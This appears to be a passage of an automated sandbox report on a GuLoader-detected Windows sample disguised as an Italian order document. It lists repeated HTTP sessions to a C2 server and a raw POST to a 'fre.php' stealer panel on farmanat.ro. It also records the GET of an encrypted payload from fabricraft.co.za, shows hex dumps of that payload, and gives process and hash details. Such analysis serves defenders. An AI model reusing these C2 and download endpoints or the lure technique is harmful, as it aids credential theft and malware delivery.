Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
867	192.168.11.20	50715	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
868	192.168.11.20	50716	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
869	192.168.11.20	50717	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.11.20	49924	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
870	192.168.11.20	50718	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
871	192.168.11.20	50719	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
872	192.168.11.20	50720	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
873	192.168.11.20	50721	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
874	192.168.11.20	50722	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
875	192.168.11.20	50723	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
876	192.168.11.20	50724	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
877	192.168.11.20	50725	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
878	192.168.11.20	50726	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
879	192.168.11.20	50727	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.11.20	49925	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.11.20	49926	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49844	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:06.230046034 CET	6317	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:06.314524889 CET	6318	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.11.20	49927	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.11.20	49928	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.11.20	49929	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.11.20	49930	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.11.20	49931	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.11.20	49932	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.11.20	49933	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.11.20	49934	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.11.20	49935	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.11.20	49936	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49816	197.242.150.64	443	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-25 09:47:51 UTC	0	OUT	GET /Farmant_hhVNwJna195.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: fabricraft.co.za Cache-Control: no-cache
2021-11-25 09:47:52 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 25 Nov 2021 09:47:52 GMT Server: Apache Last-Modified: Thu, 25 Nov 2021 06:28:40 GMT Accept-Ranges: bytes Content-Length: 106560 Connection: close Content-Type: application/octet-stream
2021-11-25 09:47:52 UTC	0	IN	Data Raw: ed 7e 33 eb 0b f2 69 6c a4 98 d3 1b d6 98 37 1d 0c 20 ef 35 e8 89 f1 a3 7c 14 c7 cf a7 4d 4c e8 36 7e d8 3c cd 58 d3 5f 09 57 2e 48 ce a9 39 16 0d 52 f8 98 88 61 3a 2d e3 5b 64 93 4c a9 6d 0c 86 ff aa fd f5 30 7d b5 cd b2 9c f9 c3 d5 57 4c b4 75 04 bc 04 97 ae 74 53 9d 58 ce 61 2f 31 8a e6 bf e3 93 25 c3 df 62 57 45 6f 2a 2f 30 1f c8 c3 e1 2c 16 ef 74 29 5e f0 1f ee bb 72 4a 9a 4a c2 b7 bd 80 5d 1f 1a bc ef 13 b2 80 49 64 aa ec b9 23 69 8f 5b 4d 69 24 15 f9 fa 5e a8 c4 a7 b6 5a 46 e6 9a cf fb 29 ae f4 d0 18 ce 7e 25 97 49 ef a8 e3 9a c4 06 84 9e a5 45 db 8c 94 af 81 6b 37 3b b7 bc fe 89 11 d0 e1 ed 9b 5e ba be 9a 73 ce 69 5c 98 ce de a1 eb c5 33 75 53 df 76 c4 dd 34 2f ca 7c 23 2c 76 f7 88 52 15 90 ec df 96 ea c9 7b 97 b8 f6 cc fe 5b e3 24 9b 35 7f af 15 Data Ascii: ~3il7 5\|ML6~<X_W.H9Ra:-[dLm0}WLutSXa/1%bWEo*/0,t)^rJJ]Id#i[Mi$^ZF)~%IEk7;^si\3uSv4/\|#,vR{[$5
2021-11-25 09:47:52 UTC	8	IN	Data Raw: 21 68 b1 cb d4 a1 48 4c 09 ba bc 99 8b cc a9 5f 66 b5 d3 15 ce b9 70 ee 6a 94 11 4a 96 2d 04 7f 52 c9 2c 88 5b 51 e3 c4 b2 3e 77 31 63 92 2b c1 23 9c a9 00 c5 7b 17 56 56 96 c5 e4 37 c9 9c 9a 0e 78 5f c8 c2 7c 58 e4 0b 91 3c 29 49 a9 cc 8c db 0e 4f b8 92 a8 a4 20 ad b1 b6 da c9 e0 79 30 a2 f0 36 95 10 dd 90 86 e8 78 a7 18 76 70 fb 38 9a 32 50 1c 10 fa 59 79 fa c6 df a6 47 60 50 0f a7 be 75 4e 0d 09 82 19 60 ed 1a 51 96 99 9b 35 b6 f2 c8 f2 02 59 d1 64 70 d7 43 62 f2 5c d6 11 38 07 e4 13 ae 33 68 55 1e 54 0d c1 b8 a4 ca 90 62 d7 0d 4b 2d d0 60 31 7c fe 01 50 b9 24 13 92 91 1c 28 fa 54 e4 ae 86 a9 d2 74 0a e2 ee 66 48 63 d9 66 19 d5 d7 73 aa 32 ad 65 e6 47 0c 50 4f fb 64 5c 02 f2 f8 81 b0 e9 73 56 1e 59 fb 13 46 9c 46 8a 12 2f 91 f0 6c 3e 10 1f be f6 a5 f8 Data Ascii: !hHL_fpjJ-R,[Q>w1c+#{VV7x_\|X<)IO y06xvp82PYyG`PuN`Q5YdpCb\83hUTbK-`1\|P$(TtfHcfs2eGPOd\sVYFF/l>
2021-11-25 09:47:52 UTC	15	IN	Data Raw: b6 4e db 15 f4 c1 27 a1 f8 14 95 b4 9a 7d f6 9c e9 4e 84 20 58 98 4a 6b ee c1 57 c9 aa 75 a2 75 6b 3a 17 c5 76 29 76 f8 79 08 ec f4 7f a4 49 e6 c9 eb f4 03 a8 96 07 6f 03 a8 5e e4 78 ff 66 0f c2 f8 02 f8 ca 42 9c fb 56 0b da 7e 5f 52 0e 61 a8 0e 03 fc 6f 9f 97 93 f8 e8 f4 99 15 d8 57 dc 3a ab 79 f5 87 87 1a 7f a3 4b 3f c1 a4 46 51 eb aa 4b 9a 3d c3 ae 12 5d 1b b2 24 c8 91 c8 ff a0 8a d5 2c 68 6a 75 b8 d9 14 bc 27 38 d6 1f a6 bb 9b 9c 2d a9 e8 b1 02 ea 0a 12 cb a0 1c 86 ec d9 4a d5 69 60 29 86 8a 7a f3 e7 e3 d7 15 9f 51 aa 66 4e 16 f3 28 43 2f 1a 9c 9f e5 33 db ca a7 0b 72 2f a2 41 06 6a 42 57 b3 ee 04 2c e3 e4 b1 4c 1d 49 b8 db 45 5f 15 55 df ba 9a fb 6c 89 59 c3 47 7a 38 a0 5d 2f 87 21 dc b8 d3 bd 82 c0 c2 e6 f4 1f 3f 3a b3 3a 71 f0 02 42 63 2a 56 7e b0 Data Ascii: N'}N XJkWuuk:v)vyIo^xfBV~_RaoW:yK?FQK=]$,hju'8-Ji`)zQfN(C/3r/AjBW,LIE_UlYGz8]/!?::qBc*V~
2021-11-25 09:47:52 UTC	23	IN	Data Raw: 1a 32 73 ea 7e 6a 13 e0 7b 55 09 15 32 79 51 18 eb 63 e0 4b eb 5f f9 ed e9 48 19 0b 57 fb 31 47 34 14 bf d7 20 fa f2 7e e4 7d b5 c9 d8 fc 74 79 ae 58 1b cc 1f 04 ec 62 98 bd f1 6f 62 a7 31 89 86 f0 75 19 d5 e3 f9 4d 4e 5a 1e a8 ba 90 b3 7d 60 e0 bd 3f 1e 59 ee bc 9c 49 53 f0 1f 6d 7f aa cf 5a 45 44 30 07 8e 5d 28 2c 71 bb a4 db dc 86 45 fe 6c 70 8c b6 00 a2 57 02 bd 66 1f af 31 44 2c d9 db 2e 66 d4 00 d8 61 88 1c 2b 46 2f 67 3d 65 73 2c 56 9e 1e ad ba 80 8e 97 47 dc 89 dc 6b da 61 94 8e 2a 9c aa 64 28 07 7d ea 85 91 76 f2 6a c2 55 40 36 8c 99 b8 37 43 cf 0a 9e 36 fc 55 da 59 35 09 06 57 df a6 82 60 5a 34 a6 f6 3f 67 73 0b 02 ad 5c d4 e5 f9 a0 f8 7d 2f 0c 91 ed fa 80 d1 96 d7 22 07 5c 87 b3 f5 42 82 cf 78 1a bf 18 21 43 9f b4 1a b2 3a 9e b9 af f0 5f e6 45 Data Ascii: 2s~j{U2yQcK_HW1G4 ~}tyXbob1uMNZ}`?YISmZED0](,qElpWf1D,.fa+F/g=es,VGka*d(}vjU@67C6UY5W`Z4?gs\}/"\Bx!C:_E
2021-11-25 09:47:52 UTC	31	IN	Data Raw: 89 a1 ab 99 7f 3b a4 81 c8 57 99 7d d3 a2 94 5d 5a 22 8b 84 8d d2 6d c0 7d 9d 53 f0 4c ed 52 ac eb e7 ad 47 a5 0a 43 66 f8 ce 53 7e eb da 06 ba e4 72 27 59 5c 8b 11 14 54 7e bf 89 b3 d2 80 a6 33 41 b0 8a 5e 3a b4 3a 12 0f 7a e1 58 fb e7 f2 b0 97 a5 4d a8 0e 6b b0 ad d2 a5 de 10 9a a0 27 79 58 f5 4c b2 f0 05 eb dc 93 98 fe a0 ab e4 3f ac ac 9a 52 a6 50 0e 6b 50 a9 7a 6f 48 f6 e2 54 62 d4 19 2c 6e a2 20 7b a0 5c 97 51 f9 05 80 c0 0e 2e 26 43 62 ad 74 e9 25 90 e6 55 32 47 10 4a ee ff c0 4f 11 3f 52 18 53 b1 e3 a4 62 14 38 06 92 b0 db 40 2a b9 52 11 32 91 38 c9 8d ef 1d 95 1d a6 fd b0 36 aa b7 88 58 53 6f 9e 58 6c f1 60 c1 bb 96 d9 05 01 1a 7a 02 c2 fe e2 b5 5a 88 b1 88 f6 ae fb 10 be 04 e2 53 cb 2e f0 55 06 0b f0 3c 82 e5 b4 5f ec 9c 66 fa 62 37 30 b9 0b 4a Data Ascii: ;W}]Z"m}SLRGCfS~r'Y\T~3A^::zXMk'yXL?RPkPzoHTb,n {\Q.&Cbt%U2GJO?RSb8@*R286XSoXl`zZS.U<_fb70J
2021-11-25 09:47:52 UTC	39	IN	Data Raw: 78 b7 b5 20 50 41 0b f8 be 4c ca fa da b8 3a 74 9a 76 a2 3f 40 d6 ab c4 15 7c a5 60 8e 1e 70 ee 36 77 0e 14 78 a0 ec fc 60 58 9a 47 d9 ae 84 c2 0a 27 48 ea e0 8c 4c ae 40 5d 12 ab 6f 69 a4 8a d4 cd 23 d4 00 29 70 bf 59 a8 5b 32 1c 29 d1 d9 e2 f8 11 83 93 a9 23 07 40 61 2d 31 17 c5 18 23 3a 86 66 25 ad 22 d9 58 53 8d bb 6e 05 b9 0b 0c bd a7 2b 77 a3 71 b6 2e 0f ec 92 80 da 42 98 20 a7 26 a4 bc f1 2f 62 35 f4 95 bd 5e e3 be 21 3c 77 64 9b d9 e0 45 19 20 48 dd 6c 29 c1 a3 9a 3e e8 c4 a1 55 4f af 32 0e 2f 2b fe fd 47 0a 5a de 01 37 c2 95 e4 e0 ae ce ff 1f 47 00 b9 f0 48 24 57 32 d0 17 86 2c e1 43 9c dc b5 81 f6 ed b7 ca 7f 9b 01 2c 5d a9 92 16 80 ee b7 72 f3 00 71 d6 74 ce 03 7c 4c 37 96 4c a7 55 4f 25 66 4c 8d 4e 33 96 85 48 4f 21 15 8c 9c 77 b6 a0 c0 b0 d0 Data Ascii: x PAL:tv?@\|`p6wx`XG'HL@]oi#)pY[2)#@a-1#:f%"XSn+wq.B &/b5^!<wdE Hl)>UO2/+GZ7GH$W2,C,]rqt\|L7LUO%fLN3HO!w
2021-11-25 09:47:52 UTC	47	IN	Data Raw: dc 58 26 15 75 31 8a 65 7b ef 50 70 48 33 e3 bb f1 6f 2a 2f 63 49 37 b6 e9 1f e0 28 f1 59 a1 0f e0 f3 17 2a b2 5d cf b8 57 f8 71 8e 13 5b 4f 09 2e cb 33 7b ba b6 f9 ee 5a 8e 7a 55 dd f1 a9 16 93 07 1b 0e ef 49 3f 49 e7 87 38 aa 0d bb 72 c7 1c b1 ab b2 da bd 87 cd 00 c2 73 e5 4a 9c 79 46 00 4b f7 80 23 64 ac be 62 84 04 7b e4 c0 38 f1 cf 73 25 d5 d5 c9 42 68 c8 cf be 80 37 17 0f 8e 4c 31 39 10 7e e2 d0 27 72 14 94 02 89 e5 ab 7d a7 a3 91 cd 06 41 4f 86 92 31 10 03 61 0a 31 27 44 8f 40 59 83 c4 d3 e4 6f 9f 6c 06 ff f5 1a f8 af a0 38 90 b4 ff 93 6f 2a d7 bf f4 0f 4c 2e fa 10 de ff 74 58 5a c6 15 13 e7 fc 92 d5 9a 34 bf 20 fa fe ea f3 e7 bf ca 47 52 2d 42 3f 55 61 3f 78 1c 65 90 7d 73 42 a4 63 f2 31 27 31 2f 4f 37 4f a9 24 84 46 9b d3 23 9a 7f 3b b8 0a 96 0f Data Ascii: X&u1e{PpH3o/cI7(Y]Wq[O.3{ZzUI?I8rsJyFK#db{8s%Bh7L19~'r}AO1a1'D@Yol8o*L.tXZ4 GR-B?Ua?xe}sBc1'1/O7O$F#;
2021-11-25 09:47:52 UTC	55	IN	Data Raw: c5 c6 4d a8 a6 bf 62 a5 de e1 1e 22 05 e8 93 77 28 41 ba fa 57 37 33 3f 12 5b 08 98 3b 8e 1f 8d 20 e0 f3 51 f0 f5 58 b6 27 53 e8 9a 14 fc 30 6f 26 32 d4 7b 71 f4 f0 9c 04 d5 b8 10 83 ce 0f a8 80 b3 8b 08 85 a5 de e4 2b 01 f3 54 34 09 e1 9d 10 49 47 08 5b f5 7d c9 2e 31 12 6f ed 7f 7f 23 90 1c 03 3f 73 aa 66 39 93 c8 6a ca b7 43 24 6c 37 77 b7 07 09 32 60 de 5c 03 3d 89 2c d9 b6 1b 32 fc ba 97 a1 c3 74 f5 30 a7 10 1b c1 83 89 7e ca ed 97 01 69 b9 0f af cd 33 37 5c 71 f2 94 99 db d3 67 e9 1f 11 e0 e2 7a 0a a1 ca 29 6e 52 cb a6 b6 22 77 a5 f4 88 59 5d ec 9c d6 a4 d3 ae 46 9d 41 14 95 b4 b7 07 68 8f 6c 34 91 d7 58 b7 4f c2 d2 2c 32 b3 bd 82 b5 31 cc af b4 fa a2 6e 16 07 d3 7c 58 c3 d7 48 3f 9c 5c 41 80 10 a1 ad 37 5f dd 93 3a 19 87 00 68 8d ba 7f 74 82 2f 45 Data Ascii: Mb"w(AW73?[; QX'S0o&2{q+T4IG[}.1o#?sf9jC$l7w2`\=,2t0~i37\qgz)nR"wY]FAhl4XO,21n\|XH?\A7_:ht/E
2021-11-25 09:47:52 UTC	62	IN	Data Raw: e8 04 f4 a5 98 ef 2a d4 95 29 15 3b fd 1a 32 b9 df 76 d5 99 e2 10 ee 16 e9 2e bf f8 d5 e2 ae 60 8f fd a8 ff 37 30 99 cd 07 f4 69 60 55 c9 0d c7 12 65 2e f3 0a 39 25 b6 a9 de a1 66 56 37 35 1e da 35 1a d8 0f ce 6b 1d 4d 17 be 32 47 9a 1d 09 66 7e 18 fc a2 1c dd 03 e0 3f a4 d0 b9 f6 01 1a 12 a3 9a 5d b2 2c 32 ab 35 c8 9d aa 5b 87 2e b3 49 cd b5 42 9d cd 55 3b 67 a1 ef 63 7b d7 b1 7b 07 0f 77 ca 8d f5 55 80 b0 50 da 54 59 3c 8f 86 23 15 11 5d b8 1f 40 1f c8 6f 7f ea f2 50 48 d3 30 97 2d 11 c2 be 76 47 ab 73 55 26 e2 f8 cf f9 f0 37 33 7d 12 9c 17 8f ca aa 23 f0 a7 07 d2 53 ef 77 3f 80 30 5e 74 55 fc 8a 1b 13 21 eb 06 31 3c 7d 15 0f 9b d5 67 56 47 5e 95 13 0b 21 7b fd 9c 31 15 69 4d f3 9c 11 3a 30 57 4c 3f b5 87 78 1c d7 6d 21 98 71 32 c4 38 a4 74 82 7f 48 1a Data Ascii: *);2v.`70i`Ue.9%fV755kM2Gf~?],25[.IBU;gc{{wUPTY<#]@oPH0-vGsU&73}#Sw?0^tU!1<}gVG^!{1iM:0WL?xm!q28tH
2021-11-25 09:47:52 UTC	70	IN	Data Raw: 2b e6 a8 78 6b 25 c2 bc a6 36 ac 26 99 54 a2 2c dc d7 2c e7 79 26 be 52 c6 3b 64 5f 97 6f 1d e6 f4 76 6b f4 5d 24 f9 80 50 f4 7b 04 83 c3 bd 03 2d f8 ad 34 82 d8 78 de 93 60 ca 4e bd c9 5f 47 18 b7 2e dd f7 6b 1c 3f db 15 f5 55 71 2c 2e be 81 60 5a 5d cc ea c2 98 fe 0d ab bf 28 7e 44 85 b0 db 36 e1 4d e8 66 09 fc 06 99 c9 97 bf ec 92 65 73 f3 7d 2b a2 1e 01 a6 0c 43 e9 36 dd f1 cc 33 b9 e5 4e b3 e6 ed eb 82 38 cd 18 3e c8 39 59 6e c7 5c 74 9a d5 1d 0c 75 0b 12 81 c5 26 54 b9 cd e6 6b 6c 82 8e 34 e3 d2 ca fb 48 a1 3c 9d 08 24 c3 0e ee e1 19 1b 90 c8 77 74 90 45 3d be 24 56 37 22 61 45 23 5a 81 85 5a dd 76 7b f8 7d 09 61 56 db 10 3d 63 1d 52 0e 54 e7 ad 35 5d 06 56 e2 11 60 21 70 db 37 12 4c 4a 50 8c 3c 7f 69 bf 66 80 05 81 29 12 08 36 ad 0f c4 b2 23 f0 d7 Data Ascii: +xk%6&T,,y&R;d_ovk]$P{-4x`N_G.k?Uq,.`Z](~D6Mfes}+C63N8>9Yn\tu&Tkl4H<$wtE=$V7"aE#ZZv{}aV=cRT5]V`!p7LJP<if)6#
2021-11-25 09:47:52 UTC	78	IN	Data Raw: 2f f2 1a da 59 a5 83 16 fb 33 47 92 1b 17 43 49 bf 91 97 5b 30 05 ca 8a 64 6d 48 a8 52 b9 8b 19 23 1b 09 42 b7 a5 9a 49 8f 49 f4 da ee 36 89 83 86 b1 12 b6 8a 87 c9 a4 ae a7 46 4c 3d 0f 30 2f b9 17 14 86 9c 1b 88 fd a6 4d fe a4 21 00 f9 b3 b7 e2 de 93 06 d2 78 cd d4 c0 a9 52 a1 3e 5e 65 bc 51 ec 15 42 d1 a7 49 1f 9e 1b e9 f8 b9 d5 bc 53 cb d8 cc b1 ff af f0 3c fe c9 11 49 00 09 8e 9d 76 12 dd e7 e0 81 6a 18 07 bf 1b 16 1a 32 35 38 4f b3 09 57 44 1a e8 de c9 69 b5 31 7c 3f f3 63 d4 bb 21 10 26 97 ff 56 7e 73 a9 e6 c9 ee 2c 07 07 d4 ab c6 ab 63 b2 b5 90 0a 23 18 2a e6 88 ef 12 52 29 6d 56 80 40 5d 80 da b5 d5 53 29 1c fc e5 ec 00 77 ab 8e f3 35 49 07 8e 84 73 16 13 ac 3c 34 31 93 a3 39 f1 f9 b5 d1 3d f6 fb a3 09 d1 49 5d 87 28 40 a5 4c 5e ae 42 bf 2b ac c1 Data Ascii: /Y3GCI[0dmHR#BII6FL=0/M!xR>^eQBIS<Ivj258OWDi1\|?c!&V~s,c#*R)mV@]S)w5Is<419=I](@L^B+
2021-11-25 09:47:52 UTC	86	IN	Data Raw: 73 ad ca 67 5f 89 6e b0 58 4b ab 48 b2 9d e7 cd 02 0f 42 25 e3 92 6c db f2 bd 6d 48 1f a3 fd 01 cc 46 e9 ee 37 3d 65 62 e1 a5 a1 e0 ca 5e c4 f1 d0 62 73 70 23 cd df 67 f7 bb 3d cf e4 a1 ef 79 7a cf b1 93 46 6a 9f 81 97 b6 55 dc 70 be 1e 3c 19 8a bc 32 73 20 41 47 80 c7 01 4f a2 1c 17 df 76 77 48 5e 7e ff 2d 74 f1 10 f5 e0 b3 56 96 3f e2 ce ca fa 90 d6 72 04 fa bd 0c e7 ca f8 e3 1a 63 65 92 be 85 07 55 ec 58 a7 f0 67 fc 16 36 08 21 eb 35 f1 bf b9 19 6a 58 cc 67 60 47 75 97 0b cb d5 3a 91 f6 55 7d 95 c9 f3 9c 89 3c 5a 57 20 0c 1c 04 df 04 f6 ae 00 13 f4 58 a1 61 41 31 aa e6 ec e3 e6 25 b3 df 12 57 2a 6f 58 2f 44 1f 94 c3 91 2c 7a ef 01 29 2a f0 76 ee d7 82 64 9a 2f cc d0 07 eb 5d ab 13 5f ce d3 b3 a1 84 29 fe 84 d0 50 49 d2 29 41 0e 39 74 fa da 4b c9 cf c9 Data Ascii: sg_nXKHB%lmHF7=eb^bsp#g=yzFjUp<2s AGOvwH^~-tV?rceUXg6!5jXg`Gu:U}<ZW XaA1%WoX/D,z)vd/]_)PI)A9tK
2021-11-25 09:47:52 UTC	94	IN	Data Raw: 38 c2 62 6a 78 bf 57 ca 9f 56 1a 1d a0 81 fe b9 8f d3 d1 3c b0 67 2d 99 01 e8 d3 dd 22 89 de 58 13 ec 12 f5 94 82 86 57 55 7b 71 55 96 67 08 6e df 24 69 d3 80 6c df e8 2e 26 af df 28 ed 2b 4b 07 97 71 0c b7 e0 de 72 61 a1 5d 2d f7 d8 77 05 c4 15 2d 20 be 9f 58 30 14 93 63 9f c8 e4 fc f2 47 03 9e d7 e9 4f 49 b6 42 a6 97 73 3f e5 1d 2b d2 3a 87 20 dc a4 95 6b 95 36 1e 2d 6b 10 a8 20 c9 b9 6a 89 12 ce 34 fa 87 59 a8 9c af ad af 41 a4 e3 be 64 b8 7e 12 34 73 46 31 c8 fc 25 ba 83 2e 2b c6 f9 4d 03 d4 23 76 12 f5 92 f0 bf 80 8a 7c a4 4a 2c 01 6b cc 90 bf f7 58 93 09 70 3d da a3 7e 8d 01 13 85 c7 30 1c 77 d8 41 9f ec b9 f9 86 8e d7 01 58 83 56 da 70 af 42 96 56 a9 0f 35 1a f9 2e ad d7 e2 70 f1 90 e5 9b 52 9b 10 14 04 69 60 74 f5 46 de fb dc 17 05 30 4f b9 e4 7d Data Ascii: 8bjxWV<g-"XWU{qUgn$il.&(+Kqra]-w- X0cGOIBs?+: k6-k j4YAd~4sF1%.+M#v\|J,kXp=~0wAXVpBV5.pRi`tF0O}
2021-11-25 09:47:52 UTC	101	IN	Data Raw: d5 46 d7 d1 46 94 d0 92 77 10 e2 fd f5 a5 fd b0 de ff 7a 77 a7 0a cc 8e f9 2d f1 88 2c 45 69 26 80 c1 6e 36 54 aa fe ea bd 5a e2 b1 e0 ee 1f ba 10 56 c7 43 ac 34 ad 34 59 ee 48 0e c3 7d 0d 05 a2 13 63 8e ce 9e c8 cf 18 1f eb 6a 4b ef 6d 09 e9 e5 b1 f1 28 a7 48 17 a8 bb 4a bb 36 df 7d 4a ce 94 c5 e8 9c 2b eb 72 f8 2c 83 00 a9 96 2e b6 19 36 be 7f ef f9 c7 54 39 54 16 56 e6 78 ff 30 e7 d5 19 fd 07 41 ba c5 7e a9 7f bf 28 6c 89 5d 36 40 d6 e3 03 90 1c 53 9f 71 9d 0c ca 46 b0 8b 70 8e 5f 13 fc 6f dc fd 80 5c c6 72 3d f5 2e 48 ea a8 4b c9 c2 b6 a2 ed 28 13 4d f4 4d 51 bd d5 2b ff 29 7f 3b 02 6f de 46 ea d6 2e d0 e2 f8 59 44 16 d1 d5 f8 bf e2 51 15 7f 02 9d 5f cc 79 99 25 a2 a6 96 9f d6 0d 4d 91 fa b0 0b 0c f5 60 ae f3 55 8e 49 ad 73 c8 ca 47 5f ca 6e df 58 26 Data Ascii: FFwzw-,Ei&n6TZVC44YH}cjKm(HJ6}J+r,.6T9TVx0A~(l]6@SqFp_o\r=.HK(MMQ+);oF.YDQ_y%M`UIsG_nX&

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: ORDINE + DDT A.M.F SpA.exe PID: 4632 Parent PID: 5216

General

Start time:	10:47:06
Start date:	25/11/2021
Path:	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe"
Imagebase:	0x400000
File size:	164928 bytes
MD5 hash:	F5423B7A89876044078CBB68DB883AF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.238039784452.0000000002270000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: ORDINE + DDT A.M.F SpA.exe PID: 8108 Parent PID: 4632

General

Start time:	10:47:28
Start date:	25/11/2021
Path:	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe"
Imagebase:	0x400000
File size:	164928 bytes
MD5 hash:	F5423B7A89876044078CBB68DB883AF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000000.238036448865.0000000000560000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: lsass.exe PID: 120 Parent PID: 8108

General

